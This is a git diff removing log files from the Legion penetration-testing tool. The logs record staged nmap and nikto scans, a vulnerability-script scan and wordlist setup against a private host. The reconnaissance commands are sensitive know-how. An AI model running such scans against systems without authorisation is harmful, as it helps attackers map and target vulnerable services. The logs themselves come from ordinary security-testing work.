{"module": "controller", "filename": "controller.py", "line": 781}} -{"time": "2019-02-26 13:11:01,802", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:01,805", "name": "Waiting 0.9s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:02,708", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:04,379", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:04,380", "name": "Waiting 0.28s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:04,676", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:04,759", "name": "Process 8 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} -{"time": "2019-02-26 13:11:04,822", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} -{"time": "2019-02-26 13:11:04,960", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:04,964", "name": "Waiting 0.88s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:05,869", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:05,872", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} -{"time": "2019-02-26 13:11:05,875", "name": "runStagedNmap called for stage 5", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} -{"time": "2019-02-26 13:11:05,879", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} -{"time": "2019-02-26 13:11:05,887", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} -{"time": "2019-02-26 13:11:05,890", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:05,892", "name": "Waiting 0.82s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:06,729", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:06,737", "name": "Queuing: nmap -T4 -sC -n -sSU -p T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999 192.168.2.2 -oA ./tmp/legion-eaie8utr-running/nmap/20190226131105879222-nmapstage5", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} -{"time": "2019-02-26 13:11:06,776", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:06,778", "name": "Waiting 0.92s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:07,719", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:07,721", "name": "runCommand called for stage 5", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} -{"time": "2019-02-26 13:11:07,722", "name": "runCommand connected for stage 5", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 625}} -{"time": "2019-02-26 13:11:07,728", "name": "Scheduler started!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 771}} -{"time": "2019-02-26 13:11:07,784", "name": "Running tools for: telnet on 192.168.2.2:23", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} -{"time": "2019-02-26 13:11:07,785", "name": "-----------------------------------------------", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 780}} -{"time": "2019-02-26 13:11:07,786", "name": "Scheduler ended!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 781}} -{"time": "2019-02-26 13:11:08,600", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:08,601", "name": "Waiting 0.28s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:08,884", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:11,599", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:11,601", "name": "Waiting 0.72s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:12,324", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:16,443", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:16,445", "name": "Waiting 0.23s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:16,701", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:16,708", "name": "Process 10 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} -{"time": "2019-02-26 13:11:16,716", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} -{"time": "2019-02-26 13:11:16,717", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:16,718", "name": "Waiting 0.56s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:17,294", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:17,296", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} -{"time": "2019-02-26 13:11:18,692", "name": "Killing process: 16146", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 554}} -{"time": "2019-02-26 13:11:18,702", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:18,707", "name": "Waiting 0.65s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:19,376", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:19,424", "name": "Process 11 Crashed!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 716}} -{"time": "2019-02-26 13:11:19,425", "name": "Process 11 Output: \n\tStarting Nmap 7.70 ( https://nmap.org ) at 2019-02-26 13:11 Central Standard Time", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 718}} -{"time": "2019-02-26 13:11:19,428", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:19,429", "name": "Waiting 0.61s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:20,059", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:20,066", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} -{"time": "2019-02-26 13:11:20,067", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:20,069", "name": "Waiting 0.81s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:20,905", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:20,907", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} -{"time": "2019-02-26 13:11:20,909", "name": "runStagedNmap called for stage 6", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} -{"time": "2019-02-26 13:11:22,093", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:22,094", "name": "Waiting 0.43s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:22,527", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:34,706", "name": "Killing process: 16113", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 554}} -{"time": "2019-02-26 13:11:34,709", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:34,710", "name": "Waiting 0.11s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:34,841", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:34,908", "name": "Process 9 Crashed!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 716}} -{"time": "2019-02-26 13:11:34,909", "name": "Process 9 Output: \n\t- Nikto v2.1.5---------------------------------------------------------------------------", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 718}} -{"time": "2019-02-26 13:11:34,912", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:34,913", "name": "Waiting 0.5s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:35,432", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:35,438", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} -{"time": "2019-02-26 13:11:35,439", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:35,440", "name": "Waiting 0.36s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:35,818", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:35,820", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} -{"time": "2019-02-26 13:14:00,341", "name": "Settings have NOT been changed.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 117}} -{"time": "2019-02-26 13:14:00,349", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:14:00,350", "name": "Waiting 0.02s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:14:00,395", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:14:00,413", "name": "Exiting application..", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "view", "filename": "view.py", "line": 493}} diff --git a/log/legion-startup.log b/log/legion-startup.log index 48c03bb3..8b137891 100644 --- a/log/legion-startup.log +++ b/log/legion-startup.log @@ -1,244 +1 @@ -{"time": "2019-02-26 13:05:59,144", "name": "Creating temporary files..", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 30}} -{"time": "2019-02-26 13:05:59,147", "name": "/mnt/c/Users/hackm/OneDrive/Documents/Customers/GVIT/GIT/legion/", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 32}} -{"time": "2019-02-26 13:05:59,152", "name": "Wordlist was created/opened: ./tmp/legion-mdzit9o7-tool-output/legion-usernames.txt", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "auxiliary", "filename": "auxiliary.py", "line": 185}} -{"time": "2019-02-26 13:05:59,155", "name": "Wordlist was created/opened: ./tmp/legion-mdzit9o7-tool-output/legion-passwords.txt", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "auxiliary", "filename": "auxiliary.py", "line": 185}} -{"time": "2019-02-26 13:05:59,163", "name": "/mnt/c/Users/hackm/OneDrive/Documents/Customers/GVIT/GIT/legion/tmp/legion-sfautv7t.legion", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 42}} -{"time": "2019-02-26 13:05:59,865", "name": "Loading settings file..", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "settings", "filename": "settings.py", "line": 26}} -{"time": "2019-02-26 13:06:14,835", "name": "runStagedNmap called for stage 1", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} -{"time": "2019-02-26 13:06:14,840", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} -{"time": "2019-02-26 13:06:14,843", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} -{"time": "2019-02-26 13:06:14,844", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:06:14,850", "name": "Waiting 0.33s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:06:15,200", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:06:15,206", "name": "Queuing: nmap -T4 -sC -sSU -p T:80,443 192.168.2.2 -oA ./tmp/legion-eaie8utr-running/nmap/20190226130614838488-nmapstage1", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} -{"time": "2019-02-26 13:06:15,258", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:06:15,260", "name": "Waiting 0.65s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:06:15,932", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:06:15,934", "name": "runCommand called for stage 1", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} -{"time": "2019-02-26 13:06:15,934", "name": "runCommand connected for stage 1", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 625}} -{"time": "2019-02-26 13:07:36,413", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:36,415", "name": "Waiting 0.81s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:37,271", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:37,403", "name": "Process 1 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} -{"time": "2019-02-26 13:07:37,475", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} -{"time": "2019-02-26 13:07:37,629", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:37,632", "name": "Waiting 0.05s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:37,726", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:37,732", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} -{"time": "2019-02-26 13:07:37,742", "name": "runStagedNmap called for stage 2", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} -{"time": "2019-02-26 13:07:37,761", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} -{"time": "2019-02-26 13:07:37,776", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} -{"time": "2019-02-26 13:07:37,781", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:37,798", "name": "Waiting 0.38s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:38,236", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:38,246", "name": "Queuing: nmap -T4 -sC -n -sSU -O -p T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434 192.168.2.2 -oA ./tmp/legion-eaie8utr-running/nmap/20190226130737760118-nmapstage2", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} -{"time": "2019-02-26 13:07:38,312", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:38,315", "name": "Waiting 0.85s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:39,186", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:39,189", "name": "runCommand called for stage 2", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} -{"time": "2019-02-26 13:07:39,190", "name": "runCommand connected for stage 2", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 625}} -{"time": "2019-02-26 13:07:39,222", "name": "Scheduler started!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 771}} -{"time": "2019-02-26 13:07:39,224", "name": "Running tools for: http on 192.168.2.2:80", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} -{"time": "2019-02-26 13:07:39,236", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} -{"time": "2019-02-26 13:07:39,239", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} -{"time": "2019-02-26 13:07:39,242", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:39,244", "name": "Waiting 0.22s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:39,494", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:39,499", "name": "Queuing: nikto -o ./tmp/legion-eaie8utr-running/nikto/20190226130739226281-nikto-192.168.2.2-80.txt -p 80 -h 192.168.2.2 -C all", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} -{"time": "2019-02-26 13:07:39,543", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:39,546", "name": "Waiting 0.35s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:39,914", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:39,916", "name": "runCommand called for stage 0", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} -{"time": "2019-02-26 13:07:39,918", "name": "Running tools for: https on 192.168.2.2:443", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} -{"time": "2019-02-26 13:07:39,933", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} -{"time": "2019-02-26 13:07:39,936", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} -{"time": "2019-02-26 13:07:39,938", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:39,943", "name": "Waiting 0.97s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:40,932", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:40,936", "name": "Queuing: nikto -o ./tmp/legion-eaie8utr-running/nikto/20190226130739922613-nikto-192.168.2.2-443.txt -p 443 -h 192.168.2.2 -C all", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} -{"time": "2019-02-26 13:07:40,975", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:40,978", "name": "Waiting 0.25s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:41,271", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:41,273", "name": "runCommand called for stage 0", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} -{"time": "2019-02-26 13:07:41,276", "name": "-----------------------------------------------", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 780}} -{"time": "2019-02-26 13:07:41,278", "name": "Scheduler ended!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 781}} -{"time": "2019-02-26 13:07:45,641", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:45,643", "name": "Waiting 0.73s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:46,396", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:46,566", "name": "Process 2 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} -{"time": "2019-02-26 13:07:46,658", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} -{"time": "2019-02-26 13:07:46,842", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:46,845", "name": "Waiting 0.49s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:47,358", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:47,360", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} -{"time": "2019-02-26 13:07:47,365", "name": "runStagedNmap called for stage 3", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} -{"time": "2019-02-26 13:07:47,368", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} -{"time": "2019-02-26 13:07:47,375", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} -{"time": "2019-02-26 13:07:47,381", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:47,395", "name": "Waiting 0.57s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:47,999", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:48,004", "name": "Queuing: nmap -sV --script=./scripts/nmap/vulners.nse -vvvv 192.168.2.2 -oA ./tmp/legion-eaie8utr-running/nmap/20190226130747368080-nmapstage3", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} -{"time": "2019-02-26 13:07:48,048", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:48,050", "name": "Waiting 0.44s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:48,519", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:48,521", "name": "runCommand called for stage 3", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} -{"time": "2019-02-26 13:07:48,522", "name": "runCommand connected for stage 3", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 625}} -{"time": "2019-02-26 13:07:48,527", "name": "Scheduler started!", "level": "INFO", "data": {"logger_name": 